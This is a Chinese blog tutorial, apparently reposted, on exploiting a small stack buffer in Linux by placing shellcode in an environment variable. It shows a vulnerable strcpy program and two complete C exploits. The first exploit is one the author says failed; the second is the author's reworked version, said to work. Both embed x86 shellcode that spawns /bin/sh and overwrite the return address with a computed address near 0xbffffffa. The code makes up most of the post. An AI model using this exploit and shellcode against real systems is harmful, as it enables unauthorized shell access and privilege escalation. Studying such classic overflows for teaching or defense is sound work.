攻击小的缓冲区

本文探讨了在缓冲区不足以存放shellcode时,如何利用环境变量进行攻击的方法。通过详细的代码示例,解释了如何计算shellcode的精确位置,并将其放置在环境变量中,从而实现对目标程序的控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

当缓冲区比较小,不足以放下shellcode时,可以利用环境变量,因为这部分内存是可写的,理论基础是:所有的Linux ELF可执行文件映射到内存时,会将最后一个相对地址映射为0xbfffffff。而环境和参数存储在该区域中,且该区域之下刚好是栈。下面是进程上部内存详细布局。

攻击目标代码:


//samllbuff.c int main(int argc,char *argv[]){ char buff[10]; strcpy(buff,argv[1]); printf("%s\n",buff); }

 exploit

#include<stdlib.h>
#include<stdio.h>
#define VULN "./smallbuff"
#define SIZE 160
char shellcode[]=
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc,char **argv){
char p[SIZE];
//将shellcode放到env中
char *env[]={shellcode,NULL};//字符指针数组,其成员是需要执行的shellcode
char *vuln[]={VULN,p,NULL};
int *ptr,i,addr;
//计算shellcode的精确位置

addr=0xbffffffa-strlen(shellcode)-strlen(VULN);

fprintf(stderr,"[***] using address:%#010x\n",addr);
/*用计算的地址填充缓冲区*/
ptr=(int *)p;
for(i=0;i<SIZE;i+=4) *ptr++=addr;
//用execle调用程序,该程序将环境变量作为输入
execle(vuln[0],vuln,p,NULL,env);
exit(1);
}

 以上的exploit没有验证通过,后来经过调试分析,自己编了个,可以通过

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h> 
#define VULN "./smallbuff"

char shellcode[]=
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[])
{
  long addr,*dtr;   //dtr用于在缓冲区最后面写上shellcode地址用
  char *env[]={shellcode,0};        //存储环境变量
  char *buffer,*ptr;      //ptr用于遍历buffer缓冲区
  int size=10;
  int i;
  size=atoi(argv[1]);    //获取buffer大小,比攻击的目标缓冲区大8个,所以缺点是必需知道缓冲区的大小
  buffer=(char *)malloc(size);

  addr=0xbffffffa-strlen(shellcode)-strlen(VULN);
  fprintf(stderr,"[***] using address:%#010x\n",addr);

  ptr=buffer;
  for(i=0;i<(size-4);i++) *(ptr++)='\x90';   //把buffer的前面填上随意的东西就可,关键得有东西
  dtr=(long *)ptr;
  *dtr=addr;
  printf("%s\n",buffer);

  execle(VULN,"smallbuff",buffer,0,env);
}

 关键是缓冲区地址安排的正好覆盖eip,多一点少一点都不行,还得加强gdb的学习。

转载于:https://www.cnblogs.com/shanmao/archive/2012/12/17/2822099.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值